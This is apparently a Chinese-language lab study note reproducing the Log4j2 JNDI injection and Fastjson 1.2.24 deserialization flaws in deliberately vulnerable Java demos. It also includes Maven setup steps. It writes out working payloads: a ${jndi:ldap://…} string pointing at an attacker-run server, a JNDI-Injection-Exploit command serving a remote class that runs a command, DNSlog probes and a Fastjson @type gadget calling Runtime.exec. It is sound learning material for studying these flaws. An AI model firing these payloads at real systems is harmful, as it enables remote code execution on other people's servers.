知识点
1、JavaEE-组件安全-Log4j
2、JavaEE-组件安全-Fastjson
3、JavaEE-基本了解-JNDI-API
JNDI注入:(见图)
Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。
#Java-三方组件-Log4J&JNDI
Log4J:
Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。
Log4j-组件安全复现
1、Maven引用Log4j
2、接受用户输入值
3、Log4j处理错误输入
4、利用jndi-ldap执行
Test:
String code="test";
String code="${java:os}";
logger.error("{}",code);
String exp="${jndi:ldap://xx.xx.xx.xx:xx/xxx}";
服务器:
java -jar JNDI-Injection-Exploit.jar -C "calc" -A xx.xx.xx.xx
#Java-三方组件-FastJson&反射
FastJson:
在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。
Fastjson-组件安全复现
1、Maven引用Fastjson
2、创建需转换类对象User
3、使用Fastjson进行数据转换
4、数据转换(对象转Json,Json转对象)
-对象转Json(带类型)
JSONObject.toJSONString(u)
JSONObject.toJSONString(u,SerializerFeature.WriteClassName)
-Json转对象
JSON.parseObject(exp)
Test:
Runtime.getRuntime().exec("calc");
服务器:
https://blog.youkuaiyun.com/guo15890025019/article/details/120532891
环境配置
配置maven
Jar仓库:
https://mvnrepository.com/
Maven配置:
https://www.jb51.net/article/259780.htm
这边选用的历史的3.8.8版本(进不去开代理)
解压下载好的文件:
创建一个文件夹maven-repository
用来充当本地仓库:
配置环境变量
新建一个MAVEN_HOME
,添加Maven的路径:
编辑Path
,新建一个环境变量%MAVEN_HOME%\bin
:
在命令窗口输入命令mvn -v
检查Maven是否安装成功:
注:使用Maven需要先安装好Java环境。
更改Maven中的设置
编辑settings.xml
打开安装目录…\apache-maven-3.8.4\conf下的settings.xml文件:
配置本地仓库
在settings
标签的后面找到localRepository
的位置,在下面添加以下代码以更改本地仓库的位置:
注:中间添加的是本地仓库的路径,就是前面创建好的文件夹路径。
更换默认更新源
找到<mirrors></mirrors>
标签,在里面添加以下代码,使用阿里云镜像:
<mirror>
<id>nexus-aliyun</id>
<mirrorOf>central</mirrorOf>
<name>Nexus aliyun</name>
<url>https://maven.aliyun.com/nexus/content/groups/public/</url>
</mirror>
添加JDK的版本
找到<profiles></profile>
标签,在里面添加以下代码,配置JDK的版本,要与安装的版本对应(这里用的jdk1.8):
<profile>
<id>jdk-1.8</id>
<activation>
<activeByDefault>true</activeByDefault>
<jdk>1.8</jdk>
</activation>
<properties>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
<maven.compiler.compilerVersion>1.8</maven.compiler.compilerVersion>
</properties>
</profile>
配置IDEA内置的Maven
我们IDEA设置Maven的时候可以看到,其实IDEA已经自带了Maven,直接配置IDEA中的Maven可以省去下载Maven的步骤了。
需要设置的settings.xml在IDEA安装目录下..\plugins\maven\lib\maven3\conf\settings
:(就是将刚刚的文件复制过来。。。)
在设置中用默认的Maven即可
项目案例
Java-三方组件-Log4J&JNDI
Java-三方组件-FastJson&反射
Java-三方组件-Log4J&JNDI
新建项目Log4jDemo,进行简单使用
完毕后,外部库没有log4j,需要导入一下
Jar仓库:
https://mvnrepository.com/
搜索log4j,选择2.14.1版本。找到maven,将配置信息复制到pom.xml当中。
pom.xml
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
配置完成后点击刷新,就开始加载(如果加载慢,开代理)
创建log4j的类,写入代码
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jTest {
//使用log4j实现错误日志输出
private static final Logger log = LogManager.getLogger(Log4jTest.class);
public static void main(String[] args) {
String code = "${java:os}";
log.error("{}",code);
}
}
这里要用的是log4j的日志包,不是第二个自带的日志包,注意区别!!!
运行代码后。
如果code是一个可控的参数,那么可能会导致RCE。
新建一个Log4jWebDemo,来进行测试
导入Log4j组件
创建Log4jServlet
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class Log4jServlet extends HttpServlet {
//拿到日志
private static final Logger log = LogManager.getLogger(Log4jServlet.class);
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String code = req.getParameter("code");
log.error("{}",code);
}
}
解决这个问题
解决报错
在./conf/service.xml 中重写Connector这个地方 。
<Connector port="8080" protocol="HTTP/1.1"
connectionTimeout="30000"
maxThreads="800"
minSpareThreads="50"
redirectPort="8443"
URIEncoding="ISO-8859-1"
relaxedQueryChars="[,],|,{,},^,\,`,",<,>"/>
————————————————
版权声明:本文为优快云博主「北漂青年003」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.youkuaiyun.com/changyj159635/article/details/104601920
再贴一次代码
package com.example.log4jwebdemo;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet("/log4j")
public class Log4jServlet extends HttpServlet {
//构造HTTP Web服务 使用带漏洞log4j版本的 实现功能
private static final Logger log = LogManager.getLogger(Log4jServlet.class);
//使用
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String code = req.getParameter("code");
log.error("{}",code);
}
}
请求访问/log4j?code=${java:os},控制台输出了环境。
/log4j?code=${java:vm}
当我们取消掉 符号时,会发现原样输出。所以必须有 符号时,会发现原样输出。所以必须有 符号时,会发现原样输出。所以必须有符号
JNDI命令执行-Log4j2漏洞原理
JNDI的组成
JNDI的api下有ladp\DNS\RMI的使用协议
使用JNDI进行命令执行。
#JNDI下载地址
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
在VPS启动并运行
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 47.115.204.183 //-A 后边的参数是自己的IP地址 -C 执行的命令
选用JDK1.8版本,因为电脑环境的JAVA版本是1.8。选用ldap协议,也可以使用rmi,DNS。
(这里在下个知识点会讲到rmi和ldap协议之间的区别,为什么会选用ldap)
//生成的这个东西,是远程可访问的class类,当有人请求这个类时,会执行类里面的clac的代码
//clac的这个命令就是上边-C 写的命令
ldap://47.115.204.183:1389/sivldg
用这个和上边的特性组合起来,构造payload
${jndi:ldap://47.115.204.183:1389/sivldg}
放入code参数中,会发现本地弹出了计算器。
上边进行的操作就是当年2021震惊全球的log4j2的流程
Log4j2漏洞原理
1、开发源码中引用存在漏洞的log4j
2、开发中使用组件的代码(触发漏洞代码)
3、可控变量传递Payload实现攻击
在实际的过程中,我们无法判断对方的触发点在哪里,所以大概率是在所有能接收参数的地方来进行判断。这里用DNSlog来进行判断,解决数据无回显问题。当有触发点时,将它换成JNDI的命令执行。
下面进行操作。
在DNSlog中申请一个
http://www.dnslog.cn/
重写payloda
${jndi:ldap://81qflc.dnslog.cn}
${jndi:dns://81qflc.dnslog.cn}
启动,还是原来的code写入参数
会发现收到了数据包,证明存在数据请求。这里使用的时ldao协议,其它的协议也可以触发请求(dns)。
这边测试rmi无法请求地址。
Java-三方组件-FastJson&反射
FastJson:
在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包
人话就是,数据格式转换的
新建项目FastJsonDemo
还是老样子的配置,下一步后改成java8。创建即可
https://mvnrepository.com/ //找到fastjson1的1.2.24版本并引用
在pox.xml中插入fastjson的引用,并用maven加载
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
新建User类
package com.FastjsonDemo;
public class User {
//写一些用来转换的内容
private String name;
private String age;
public String getAge() {
return age;
}
public String getName() {
return name;
}
public void setAge(String age) {
this.age = age;
System.out.println(age);
}
public void setName(String name) {
this.name = name;
System.out.println(name);
}
}
新建一个FastjsonTest类
package com.FastjsonDemo;
//使用fastjson去处理User类的数据
public class FastjsonTest {
public static void main(String[] args) {
//user Object对象
//Integer age String name 字符串数据
User user =new User();
user.setName("zhangsanSEC");
user.setAge("30");
System.out.println(user);
}
}
完成后运行数据是这个样子的。
在使用Fastjson转换为json格式
关键代码
//使用fastjson将数据转换为json格式,序列化转换
String jsonString = JSONObject.toJSONString(user);
System.out.println(jsonString);
package com.FastjsonDemo;
import com.alibaba.fastjson.JSONObject;
//使用fastjson去处理User类的数据
public class FastjsonTest {
public static void main(String[] args) {
//user Object对象
//Integer age String name 字符串数据
User user =new User();
user.setName("zhangsanSEC");
user.setAge("30");
//System.out.println(user);
//使用fastjson将数据转换为json格式
String jsonString = JSONObject.toJSONString(user);
System.out.println(jsonString);
}
}
分析漏洞利用,输出转换的数据类型(类),有一个@type的参数,默认有但是不显示,这里使用 SerializerFeature.WriteClassName,来显示这个参数
//分析漏洞利用,输出转换的数据类型(类)
String jsonString1 = JSONObject.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(jsonString1);
上述的操作:对象-》json
下边的操作:json-》对象
我们可以看到当执行的东西为json时,使用到JSON.parseObject(),会将JSON转化为对象(用到了反序列化转换)
//将JSON-》对象
String test = "{\"@type\":\"com.FastjsonDemo.User\",\"age\":\"30\",\"name\":\"zhangsanSEC\"}";
JSONObject jsonObject = JSON.parseObject(test);
System.out.println(jsonObject);
package com.FastjsonDemo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
//使用fastjson去处理User类的数据
public class FastjsonTest {
public static void main(String[] args) {
//user Object对象
//Integer age String name 字符串数据
User user =new User();
user.setName("zhangsanSEC");
user.setAge("30");
//System.out.println(user);
//使用fastjson将数据转换为json格式
String jsonString = JSONObject.toJSONString(user);
System.out.println(jsonString);
//分析漏洞利用,输出转换的数据类型(类)
String jsonString1 = JSONObject.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(jsonString1);
System.out.println("\n");
//将JSON-》对象
String test = "{\"@type\":\"com.FastjsonDemo.User\",\"age\":\"30\",\"name\":\"zhangsanSEC\"}";
JSONObject jsonObject = JSON.parseObject(test);
System.out.println(jsonObject);
}
}
新建Run类
package com.FastjsonDemo;
import java.io.IOException;
public class Run {
public Run() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
修改FastjsonTest
String test = “{”@type":“com.FastjsonDemo.Run”,“age”:“30”,“name”:“zhangsanSEC”}";
也就是我们将类指向为下边的Run类,而不是User类。那么将弹出计算器
这个就是fastjson的漏洞原理
实战当中没有Run的理想环境,就只能找到固定的利用链去触发该漏洞
如果没有报错回显,利用dnslog进行回显
{“test”:{“@type”:“java.net.Inet4Address”,“val”:“dnslog的地址”}}
jndi注入原理
就是用下面得3个协议ldap,rmi,dns。远程请求加载class数据,或者请求DNSlog的地址。
fastjson 1.2.24 反序列化
去找找网上的payload进行操作
https://blog.youkuaiyun.com/weixin_44033675/article/details/119062455
json-》对象
“@type”:“操作对象包名”